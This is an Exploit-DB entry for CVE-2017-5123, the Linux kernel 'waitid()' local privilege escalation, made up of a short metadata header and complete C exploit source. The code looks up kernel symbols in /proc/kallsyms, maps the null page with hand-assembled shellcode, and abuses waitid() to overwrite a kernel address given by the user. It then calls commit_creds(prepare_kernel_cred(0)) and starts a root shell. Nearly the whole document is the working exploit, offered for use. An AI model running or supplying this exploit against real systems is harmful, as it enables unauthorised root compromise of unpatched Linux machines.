Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation

EDB-ID: 43029
Author: @XeR_0x2A and @chaign_c
Published: 2017-10-22
CVE: CVE-2017-5123
Type: Local
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

  
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void get_shell() {
char *argv[] = {"/bin/sh", NULL};

if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}

void get_root() {
if (commit_creds && prepare_kernel_cred)
commit_creds(prepare_kernel_cred(0));
}

unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}

int main(int ac, char **av)
{
if (ac != 2) {
printf("./exploit kernel_offset\n");
printf("exemple = 0xffffffff81f3f45a");
return EXIT_FAILURE;
}

// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
// have_canfork_callback offset <= rendre dynamique aussi

pid_t pid;
/* siginfo_t info; */

// 1 - Mapper la mmoire l'adresse 0x0000000000000000
printf("[+] Try to allocat 0x00000000...\n");
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");
/* memset(0, 0xcc, 4096); */
/*
movq rax, 0xffffffff81f3f45a
movq [rax], 0
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
*/
unsigned char shellcode[] =
{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
void **get_root_offset = rawmemchr(shellcode, 0x42);
(*get_root_offset) = get_root;

memcpy(0, shellcode, sizeof(shellcode));
/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */

if(-1 == (pid = fork())) {
perror("fork()");
return EXIT_FAILURE;
}

if(pid == 0) {
_exit(0xDEADBEEF);
perror("son");
return EXIT_FAILURE;
}

siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
pid = fork();
printf("fork_ret = %d\n", pid);
if (pid > 0)
get_shell();
return EXIT_SUCCESS;
}

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